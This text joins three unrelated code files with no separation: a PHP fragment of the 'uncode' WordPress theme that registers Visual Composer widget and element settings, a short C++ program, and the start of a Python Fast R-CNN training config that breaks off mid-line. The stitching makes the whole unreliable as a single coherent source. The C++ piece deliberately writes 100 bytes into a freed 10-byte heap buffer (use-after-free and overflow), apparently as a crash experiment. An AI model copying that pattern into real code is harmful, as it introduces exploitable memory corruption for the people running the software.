), $add_css_animation, $add_animation_speed, $add_animation_delay, ) )); } // if contact form7 plugin active /* WordPress default Widgets (Appearance->Widgets) ---------------------------------------------------------- */ vc_map(array( 'name' => 'WP ' . esc_html__("Search", 'uncode') , 'base' => 'vc_wp_search', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('A search form for your site', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Live search', 'uncode') , 'param_name' => 'live_search', 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Meta', 'uncode') , 'base' => 'vc_wp_meta', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('Log in/out, admin, feed and WordPress links', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Recent Comments', 'uncode') , 'base' => 'vc_wp_recentcomments', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('The most recent comments', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Number of comments to show', 'uncode') , 'param_name' => 'number', 'admin_label' => true ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Calendar', 'uncode') , 'base' => 'vc_wp_calendar', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('A calendar of your sites posts', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Pages', 'uncode') , 'base' => 'vc_wp_pages', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('Your sites WordPress Pages', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Sort by', 'uncode') , 'param_name' => 'sortby', 'value' => array( esc_html__('Page title', 'uncode') => 'post_title', esc_html__('Page order', 'uncode') => 'menu_order', esc_html__('Page ID', 'uncode') => 'ID' ) , 'admin_label' => true ) , array( 'type' => 'textfield', 'heading' => esc_html__('Exclude', 'uncode') , 'param_name' => 'exclude', 'description' => esc_html__('Page IDs, separated by commas.', 'uncode') , 'admin_label' => true ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); $tag_taxonomies = array(); foreach (get_taxonomies() as $taxonomy) { $tax = get_taxonomy($taxonomy); if (!$tax->show_tagcloud || empty($tax->labels->name)) { continue; } $tag_taxonomies[$tax->labels->name] = esc_attr($taxonomy); } vc_map(array( 'name' => 'WP ' . esc_html__('Tag Cloud', 'uncode') , 'base' => 'vc_wp_tagcloud', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('Your most used tags in cloud format', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Taxonomy', 'uncode') , 'param_name' => 'taxonomy', 'value' => $tag_taxonomies, 'admin_label' => true ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); $custom_menus = array(esc_html__('Select…','uncode') => ''); $menus = get_terms('nav_menu', array( 'hide_empty' => false )); if (is_array($menus)) { foreach ($menus as $single_menu) { $custom_menus[$single_menu->name] = $single_menu->term_id; } } vc_map(array( 'name' => 'WP ' . esc_html__("Custom Menu", 'uncode') , 'base' => 'vc_wp_custommenu', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('Use this widget to add one of your custom menus as a widget', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Menu', 'uncode') , 'param_name' => 'nav_menu', 'value' => $custom_menus, 'description' => empty($custom_menus) ? esc_html__('Custom menus not found. Please visit <b>Appearance > Menus</b> page to create new menu.', 'uncode') : esc_html__('Specify menu', 'uncode') , 'admin_label' => true ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Horizontal menu', 'uncode') , 'param_name' => 'nav_menu_horizontal', 'value' => array( esc_html__('Yes, please', 'uncode') => true ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Text', 'uncode') , 'base' => 'vc_wp_text', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('Arbitrary text or HTML', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'textarea', 'heading' => esc_html__('Text', 'uncode') , 'param_name' => 'content', ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Recent Posts', 'uncode') , 'base' => 'vc_wp_posts', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('The most recent posts on your site', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Number of posts to show', 'uncode') , 'param_name' => 'number', 'admin_label' => true ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Display post date?', 'uncode') , 'param_name' => 'show_date', 'value' => array( esc_html__('Yes, please', 'uncode') => true ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); $link_category = array( esc_html__('All Links', 'uncode') => '' ); $link_cats = get_terms('link_category'); if (is_array($link_cats)) { foreach ($link_cats as $link_cat) { $link_category[$link_cat->name] = $link_cat->term_id; } } vc_map(array( 'name' => 'WP ' . esc_html__('Links', 'uncode') , 'base' => 'vc_wp_links', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => -50, 'description' => esc_html__('Your blogroll', 'uncode') , 'params' => array( array( 'type' => 'dropdown', 'heading' => esc_html__('Link Category', 'uncode') , 'param_name' => 'category', 'value' => $link_category, 'admin_label' => true ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Sort by', 'uncode') , 'param_name' => 'orderby', 'value' => array( esc_html__('Link title', 'uncode') => 'name', esc_html__('Link rating', 'uncode') => 'rating', esc_html__('Link ID', 'uncode') => 'id', esc_html__('Random', 'uncode') => 'rand' ) ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Options', 'uncode') , 'param_name' => 'options', 'value' => array( esc_html__('Show Link Image', 'uncode') => 'images', esc_html__('Show Link Name', 'uncode') => 'name', esc_html__('Show Link Description', 'uncode') => 'description', esc_html__('Show Link Rating', 'uncode') => 'rating' ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Number of links to show', 'uncode') , 'param_name' => 'limit' ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Categories', 'uncode') , 'base' => 'vc_wp_categories', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('A list or dropdown of categories', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Options', 'uncode') , 'param_name' => 'options', 'value' => array( esc_html__('Display as dropdown', 'uncode') => 'dropdown', esc_html__('Show post counts', 'uncode') => 'count', esc_html__('Show hierarchy', 'uncode') => 'hierarchical' ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('Archives', 'uncode') , 'base' => 'vc_wp_archives', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('A monthly archive of your sites posts', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Options', 'uncode') , 'param_name' => 'options', 'value' => array( esc_html__('Display as dropdown', 'uncode') => 'dropdown', esc_html__('Show post counts', 'uncode') => 'count' ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); vc_map(array( 'name' => 'WP ' . esc_html__('RSS', 'uncode') , 'base' => 'vc_wp_rss', 'icon' => 'fa fa-wordpress', 'category' => esc_html__('WordPress Widgets', 'uncode') , 'class' => 'wpb_vc_wp_widget', 'weight' => - 50, 'description' => esc_html__('Entries from any RSS or Atom feed', 'uncode') , 'params' => array( array( 'type' => 'textfield', 'heading' => esc_html__('Widget title', 'uncode') , 'param_name' => 'title', 'description' => esc_html__('What text use as a widget title. Leave blank to use default widget title.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('RSS feed URL', 'uncode') , 'param_name' => 'url', 'description' => esc_html__('Enter the RSS feed URL.', 'uncode') , 'admin_label' => true ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Items', 'uncode') , 'param_name' => 'items', 'value' => array( esc_html__('10 - Default', 'uncode') => '', 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20 ) , 'description' => esc_html__('How many items would you like to display?', 'uncode') , 'admin_label' => true ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Options', 'uncode') , 'param_name' => 'options', 'value' => array( esc_html__('Display item content?', 'uncode') => 'show_summary', esc_html__('Display item author if available?', 'uncode') => 'show_author', esc_html__('Display item date?', 'uncode') => 'show_date' ) ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) ) )); /* Empty Space Element ---------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Empty Space', 'uncode') , 'base' => 'vc_empty_space', 'icon' => 'fa fa-arrows-v', 'weight' => 83, 'show_settings_on_create' => true, 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Vertical spacer', 'uncode') , 'params' => array( array( "type" => "type_numeric_slider", "heading" => esc_html__("Height", 'uncode') , "param_name" => "empty_h", "min" => 0, "max" => 5, "step" => 1, "value" => 2, "description" => esc_html__("Set the empty space height.", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Desktop", 'uncode') , "param_name" => "desktop_visibility", "description" => esc_html__("Choose the visibiliy of the element in desktop layout mode (960px >).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Tablet", 'uncode') , "param_name" => "medium_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile", 'uncode') , "param_name" => "mobile_visibility", "description" => esc_html__("Choose the visibiliy of the element in mobile layout mode (< 570px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') , 'group' => esc_html__('Extra', 'uncode') , ) , ) , )); /* Custom Heading element ----------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Heading', 'uncode') , 'base' => 'vc_custom_heading', 'icon' => 'fa fa-header', 'php_class_name' => 'uncode_generic_admin', 'weight' => 100, 'show_settings_on_create' => true, 'category' => esc_html__('Content', 'uncode') , 'shortcode' => true, 'description' => esc_html__('Text heading', 'uncode') , 'params' => array( array( 'type' => 'textarea_html', 'heading' => esc_html__('Heading text', 'uncode') , 'param_name' => 'content', 'admin_label' => true, 'value' => esc_html__('This is a custom heading element.', 'uncode') , //'description' => esc_html__('Enter your content. If you are using non-latin characters be sure to activate them under Settings/Visual Composer/General Settings.', 'uncode') , 'group' => esc_html__('General', 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Automatic heading text", 'uncode') , "param_name" => "auto_text", "description" => esc_html__("Activate this to pull automatic text content when used as heading for categories.", 'uncode') , 'group' => esc_html__('General', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'dropdown', "heading" => esc_html__("Element semantic", 'uncode') , "param_name" => "heading_semantic", "description" => esc_html__("Specify element tag.", 'uncode') , "value" => $heading_semantic, 'std' => 'h2', 'group' => esc_html__('General', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text size", 'uncode') , "param_name" => "text_size", "description" => esc_html__("Specify text size.", 'uncode') , 'std' => 'h2', "value" => $heading_size, 'group' => esc_html__('General', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text line height", 'uncode') , "param_name" => "text_height", "description" => esc_html__("Specify text line height.", 'uncode') , "value" => $heading_height, 'group' => esc_html__('General', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text letter spacing", 'uncode') , "param_name" => "text_space", "description" => esc_html__("Specify letter spacing.", 'uncode') , "value" => $heading_space, 'group' => esc_html__('General', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text font family", 'uncode') , "param_name" => "text_font", "description" => esc_html__("Specify text font family.", 'uncode') , "value" => $heading_font, 'std' => '', "group" => esc_html__("General", 'uncode') , ) , array( "type" => 'dropdown', "heading" => esc_html__("Text weight", 'uncode') , "param_name" => "text_weight", "description" => esc_html__("Specify text weight.", 'uncode') , "value" => $heading_weight, 'std' => '', 'group' => esc_html__('General', 'uncode') ) , array( "type" => 'dropdown', "heading" => esc_html__("Text transform", 'uncode') , "param_name" => "text_transform", "description" => esc_html__("Specify the heading text transformation.", 'uncode') , "value" => array( esc_html__('Default CSS', 'uncode') => '', esc_html__('Uppercase', 'uncode') => 'uppercase', esc_html__('Lowercase', 'uncode') => 'lowercase', esc_html__('Capitalize', 'uncode') => 'capitalize' ) , "group" => esc_html__("General", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Text italic", 'uncode') , "param_name" => "text_italic", "description" => esc_html__("Transform the text to italic.", 'uncode') , "value" => Array( '' => 'yes' ) , "group" => esc_html__("General", 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Text color", 'uncode') , "param_name" => "text_color", "description" => esc_html__("Specify text color.", 'uncode') , "value" => $uncode_colors, 'group' => esc_html__('General', 'uncode') ) , array( "type" => "dropdown", "heading" => esc_html__("Separator", 'uncode') , "param_name" => "separator", "description" => esc_html__("Activate the separator. This will appear under the text.", 'uncode') , "value" => array( esc_html__('None', 'uncode') => '', esc_html__('Under heading', 'uncode') => 'yes', esc_html__('Under subheading', 'uncode') => 'under', esc_html__('Over heading', 'uncode') => 'over' ) , "group" => esc_html__("General", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Separator colored", 'uncode') , "param_name" => "separator_color", "description" => esc_html__("Color the separator with the accent color.", 'uncode') , "value" => Array( '' => 'yes' ) , 'dependency' => array( 'element' => 'separator', 'not_empty' => true, ) , "group" => esc_html__("General", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Separator double space", 'uncode') , "param_name" => "separator_double", "description" => esc_html__("Activate to increase the separator space.", 'uncode') , "value" => Array( '' => 'yes' ) , 'dependency' => array( 'element' => 'separator', 'not_empty' => true, ) , "group" => esc_html__("General", 'uncode') ) , array( 'type' => 'textarea', 'heading' => esc_html__('Subheading', 'uncode') , "param_name" => "subheading", "description" => esc_html__("Add a subheading text.", 'uncode') , "group" => esc_html__("General", 'uncode') , 'admin_label' => true, ) , array( "type" => 'checkbox', "heading" => esc_html__("Text lead", 'uncode') , "param_name" => "sub_lead", "description" => esc_html__("Transform the text to leading.", 'uncode') , "value" => Array( '' => 'yes' ) , "group" => esc_html__("General", 'uncode') ) , array( "type" => 'checkbox', "heading" => esc_html__("Reduce subheading top space", 'uncode') , "param_name" => "sub_reduced", "description" => esc_html__("Activate this to reduce the subheading top margin.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , "group" => esc_html__("General", 'uncode') , ) , array( "type" => 'checkbox', "heading" => esc_html__("Desktop", 'uncode') , "param_name" => "desktop_visibility", "description" => esc_html__("Choose the visibiliy of the element in desktop layout mode (960px >).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Tablet", 'uncode') , "param_name" => "medium_visibility", "description" => esc_html__("Choose the visibiliy of the element in tablet layout mode (570px > < 960px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Mobile", 'uncode') , "param_name" => "mobile_visibility", "description" => esc_html__("Choose the visibiliy of the element in mobile layout mode (< 570px).", 'uncode') , 'group' => esc_html__('Responsive', 'uncode') , "value" => Array( '' => 'yes' ) , ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') , 'group' => esc_html__('Extra', 'uncode') ) , ) , )); /* Icon element ----------------------------------------------------------- */ vc_map(array( 'name' => esc_html__('Icon Box', 'uncode') , 'base' => 'vc_icon', 'icon' => 'fa fa-star', 'weight' => 97, 'php_class_name' => 'uncode_generic_admin', 'category' => esc_html__('Content', 'uncode') , 'description' => esc_html__('Icon box from icon library', 'uncode') , 'params' => array( array( "type" => 'dropdown', "heading" => esc_html__("Module position", 'uncode') , "param_name" => "position", 'admin_label' => true, "value" => array( esc_html__('Icon top', 'uncode') => '', esc_html__('Icon bottom', 'uncode') => 'bottom', esc_html__('Icon left', 'uncode') => 'left', esc_html__('Icon right', 'uncode') => 'right' ) , 'description' => esc_html__('Specify where the icon is positioned inside the module.', 'uncode') , ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Layout display', 'uncode') , 'param_name' => 'display', 'description' => esc_html__('Specify the display mode.', 'uncode') , "value" => array( esc_html__('Block', 'uncode') => '', esc_html__('Inline', 'uncode') => 'inline', ) , ) , array( 'type' => 'iconpicker', 'heading' => esc_html__('Icon', 'uncode') , 'param_name' => 'icon', 'description' => esc_html__('Specify icon from library.', 'uncode') , 'value' => '', 'admin_label' => true, 'settings' => array( 'emptyIcon' => true, 'iconsPerPage' => 1100, 'type' => 'uncode' ) , ) , array( "type" => "media_element", "heading" => esc_html__("Media icon", 'uncode') , "param_name" => "icon_image", "value" => "", "description" => esc_html__("Specify a media icon from the media library.", 'uncode') , ) , array( "type" => "dropdown", "heading" => esc_html__("Icon color", 'uncode') , "param_name" => "icon_color", "description" => esc_html__("Specify icon color. NB. This doesn't work for media icons.", 'uncode') , "value" => $uncode_colors, ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Icon background style', 'uncode') , 'param_name' => 'background_style', 'value' => array( esc_html__('None', 'uncode') => '', esc_html__('Circle', 'uncode') => 'fa-rounded', esc_html__('Square', 'uncode') => 'fa-squared', ) , 'description' => esc_html__("Background style for icon. NB. This doesn't work for media icons.", 'uncode') ) , array( 'type' => 'dropdown', 'heading' => esc_html__('Icon size', 'uncode') , 'param_name' => 'size', 'value' => $icon_sizes, 'std' => '', 'description' => esc_html__("Icon size. NB. This doesn't work for media icons.", 'uncode') ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Icon outlined', 'uncode') , 'param_name' => 'outline', 'description' => esc_html__("Outlined icon doesn't have a full background color.", 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'background_style', 'not_empty' => true, ) , ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Icon shadow', 'uncode') , 'param_name' => 'shadow', 'description' => esc_html__('Icon shadow.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'background_style', 'not_empty' => true, ) , ) , array( 'type' => 'textfield', 'heading' => esc_html__('Title', 'uncode') , 'param_name' => 'title', 'admin_label' => true, ) , array( "type" => 'dropdown', "heading" => esc_html__("Title semantic", 'uncode') , "param_name" => "heading_semantic", "description" => esc_html__("Specify element tag.", 'uncode') , "value" => $heading_semantic, 'std' => 'h3', ) , array( "type" => 'dropdown', "heading" => esc_html__("Title size", 'uncode') , "param_name" => "text_size", "description" => esc_html__("Specify title size.", 'uncode') , 'std' => 'h3', "value" => $heading_size, ) , array( "type" => 'dropdown', "heading" => esc_html__("Title font family", 'uncode') , "param_name" => "text_font", "description" => esc_html__("Specify title font family.", 'uncode') , "value" => $heading_font, 'std' => '', ) , array( "type" => 'dropdown', "heading" => esc_html__("Title weight", 'uncode') , "param_name" => "text_weight", "description" => esc_html__("Specify title weight.", 'uncode') , "value" => $heading_weight, 'std' => '', ) , array( "type" => 'dropdown', "heading" => esc_html__("Title line height", 'uncode') , "param_name" => "text_height", "description" => esc_html__("Specify text line height.", 'uncode') , "value" => $heading_height, ) , array( "type" => 'dropdown', "heading" => esc_html__("Title letter spacing", 'uncode') , "param_name" => "text_space", "description" => esc_html__("Specify letter spacing.", 'uncode') , "value" => $heading_space, ) , array( 'type' => 'textarea_html', 'heading' => esc_html__('Text', 'uncode') , 'param_name' => 'content', 'admin_label' => true, ) , array( "type" => 'checkbox', "heading" => esc_html__("Text lead", 'uncode') , "param_name" => "text_lead", "description" => esc_html__("Transform the text to leading.", 'uncode') , "value" => Array( '' => 'yes' ) , ) , array( "type" => 'checkbox', "heading" => esc_html__("Reduce text top space", 'uncode') , "param_name" => "text_reduced", "description" => esc_html__("Activate this to reduce the text top margin.", 'uncode') , "value" => Array( esc_html__("Yes, please", 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'position', 'value' => array( '', 'bottom' ) ) , ) , array( 'type' => 'checkbox', 'heading' => esc_html__('Add top margin', 'uncode') , 'param_name' => 'add_margin', 'description' => esc_html__('Add text top margin.', 'uncode') , 'value' => array( esc_html__('Yes, please', 'uncode') => 'yes' ) , 'dependency' => array( 'element' => 'position', 'value' => array( 'left', 'right' ) ) , ) , array( 'type' => 'vc_link', 'heading' => esc_html__('URL (Link)', 'uncode') , 'param_name' => 'link', 'description' => esc_html__('Add link to icon.', 'uncode') ) , array( 'type' => 'textfield', 'heading' => esc_html__('Link text', 'uncode') , 'param_name' => 'link_text', 'description' => esc_html__('Add a text link if you wish, this will be added under the text.', 'uncode') ) , array( 'type' => 'media_element', 'heading' => esc_html__('Media lightbox', 'uncode') , 'param_name' => 'media_lightbox', 'description' => esc_html__('Specify a media from the lightbox.', 'uncode') , ) , $add_css_animation, $add_animation_speed, $add_animation_delay, array( 'type' => 'textfield', 'heading' => esc_html__('Extra class name', 'uncode') , 'param_name' => 'el_class', 'group' => esc_html__('Extra', 'uncode') , 'description' => esc_html__('If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'uncode') ) , ) , )); vc_remove_element( "add_to_cart" ); vc_remove_element( "add_to_cart_url" );
#include <unistd.h> #include <string.h> #include <stdio.h> #include <iostream> using namespace std; void foo(char* p){ memcpy(p, "01234567890", 32); } void foo2(char *p) { for (int i = 0; i < 100; i++) { cout << "start p[" << i << "]" << endl; p[i] = 'a'; cout << "p[" << i << "] ok " << endl; } } int main(int argc, char** argv){ char* p = new char[10]; //foo(p); delete []p; foo2(p); printf("p=%s\n", p); return 0; }
from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import os.path as osp import numpy as np # `pip install easydict` if you don't have it from easydict import EasyDict as edict __C = edict() # Consumers can get config by: # from fast_rcnn_config import cfg cfg = __C # # Training options # __C.TRAIN = edict() # Initial learning rate __C.TRAIN.LEARNING_RATE = 0.001 # Momentum __C.TRAIN.MOMENTUM = 0.9 # Weight decay, for regularization __C.TRAIN.WEIGHT_DECAY = 0.0005 # Factor for reducing the learning rate __C.TRAIN.GAMMA = 0.1 # Step size for reducing the learning rate, currently only support one step __C.TRAIN.STEPSIZE = 30000 __C.TRAIN.CACHE_PATH = None # Iteration intervals for showing the loss during training, on command line interface __C.TRAIN.DISPLAY = 10 # Whether to double the learning rate for bias __C.TRAIN.DOUBLE_BIAS = True # Whether to initialize the weights with truncated normal distribution __C.TRAIN.TRUNCATED = False # Whether to have weight decay on bias as well __C.TRAIN.BIAS_DECAY = False # Whether to add ground truth boxes to the pool when sampling regions __C.TRAIN.USE_GT = False # Whether to use aspect-ratio grouping of training images, introduced merely for saving # GPU memory __C.TRAIN.ASPECT_GROUPING = False # The number of snapshots kept, older ones are deleted to save space __C.TRAIN.SNAPSHOT_KEPT = 3 # The time interval for saving tensorflow summaries __C.TRAIN.SUMMARY_INTERVAL = 180 # Scale to use during training (can NOT list multiple scales) # The scale is the pixel size of an image's shortest side __C.TRAIN.SCALES = (600,) # Max pixel size of the longest side of a scaled input image __C.TRAIN.MAX_SIZE = 1000 # Images to use per minibatch __C.TRAIN.IMS_PER_BATCH = 1 # Minibatch size (number of regions of interest [ROIs]) __C.TRAIN.BATCH_SIZE = 128 # Fraction of minibatch that is labeled foreground (i.e. class > 0) __C.TRAIN.FG_FRACTION = 0.25 # Overlap threshold for a ROI to be considered foreground (if >= FG_THRESH) __C.TRAIN.FG_THRESH = 0.5 # Overlap threshold for a ROI to be considered background (class = 0 if # overlap in [LO, HI)) __C.TRAIN.BG_THRESH_HI = 